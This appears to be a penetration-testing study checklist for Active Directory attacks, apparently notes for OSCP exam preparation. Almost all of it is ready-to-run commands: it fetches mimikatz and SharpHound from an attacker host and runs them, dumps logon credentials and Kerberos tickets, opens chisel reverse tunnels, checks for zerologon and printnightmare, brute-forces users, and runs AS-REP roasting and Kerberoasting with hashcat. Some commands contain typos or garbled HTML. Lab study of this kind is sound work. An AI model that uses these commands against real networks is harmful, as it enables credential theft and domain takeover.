Howlsec
HOWLSEC
offensive security
// notes/ Active Directory
🏛️

Checklist

Notes from oscp.adot8.com — active directory.

#active directory#adot8
source · oscp.adot8.com · active-directory/checklist ↗

Checklist

🐺 howlsec@kali
01ls C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\

{% hint style="warning" %} Do this for all users on the machine

Also run winPEAS to make sure no sensitive files are missed {% endhint %}

🐺 howlsec@kali
01.\chisel.exe client 192.168.45.x:8888 R:9999:socks

02.\chisel.exe client 192.168.45.x:8888 8080:127.0.0.1:80
🐺 howlsec@kali
01curl 192.168.45.x/SharpHound.exe -o SharpHound.exe

02.\SharpHound.exe -c all
🐺 howlsec@kali
01curl 192.168.45.x/mimikatz.exe -o mimikatz.exe

02.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "exit"
🐺 howlsec@kali
01.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::tickets /export" "exit"

02dir *.kirbi

03kerberos::ptt <ticket>
🐺 howlsec@kali
01enum4linux <IP>

02enum4linux -u  -p -a -A <IP>
🐺 howlsec@kali
01nmap -p 389 --script="ldap* and not brute" -Pn <IP>
🐺 howlsec@kali
01 ldapsearch -H ldap://dc.offsec.com -D '' -w '' -b "dc=offsec,dc=com"
🐺 howlsec@kali
01 ldapsearch -H ldap://dc.offsec.com -D '' -w '' -b "dc=offsec,dc=com" | grep -i description
🐺 howlsec@kali
01netexec smb <IP> -u '' -p '' --shares

02netexec smb <IP> -u '' -p '' --users

03netxec ldap <IP> -u '' -p '' --password-not-required --admin-count --users --groups

04netexec smb <IP> -u '' -p '' --rid-brute

05netexec smb <IP> -u '' -p '' -M spider_plus

06netexec smb <IP> -u '' -p '' -M printnightmare

07netexec smb <IP> -u '' -p '' -M gpp_password

08netexec smb <IP> -u '' -p '' -M spooler

09netexec smb <IP> -u '' -p '' -M nopac

10netexec smb <IP> -u '' -p '' -M zerologon
🐺 howlsec@kali
01smbmap -H <IP>

02smbclient -L \\\\<IP>\\ -U '' -N
🐺 howlsec@kali
01rpcclient -U '' -N <IP>

02rpcclient -U "username%passwd" <IP>  

03querydispinfo 

04queryuser joe 

05querygroup 0x44f       

06querygroupmem 0x44f
🐺 howlsec@kali
01kerbrute userenum -d pffsec.lab /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --dc dc.oscp.exam

{% hint style="info" %} Try sorts of user:user combos, as-rep roasting, bruteforcing etc {% endhint %}

🐺 howlsec@kali
01kerbrute bruteuser -d offsec.lab ~/rockyou.txt w.smith
<pre><code><strong>impacket-GetNPUsers -dc-ip &#x3C;IP> -request oscp.exam/-format hashcat </strong>impacket-GetNPUsers oscp.exam/user -dc-ip &#x3C;IP> -format hashcat hashcat -m 18200 crackme.txt ~/rockyou.txt -O -r ~/opt/wordlists/best64.rule -O </code></pre>
🐺 howlsec@kali
01impacket-GetUserSPNs  oscp.exam/user:pass -dc-ip 192.168.1.129 -request

02hashcat -m 13100 crackme.txt ~/rockyou.txt -O -r ~/opt/wordlists/best64.rule -O
🐺 howlsec@kali
01impacket-mssqlclient aerospace.com/discovery:'Start123!'@192.168.193.40

02impacket-mssqlclient aerospace.com/discovery:'Start123!'@192.168.193.40 -windows-auth
🐺 howlsec@kali
01bloodhound-python -d offsec.lab -u greg -p pass -ns 192.168.1.129 -c all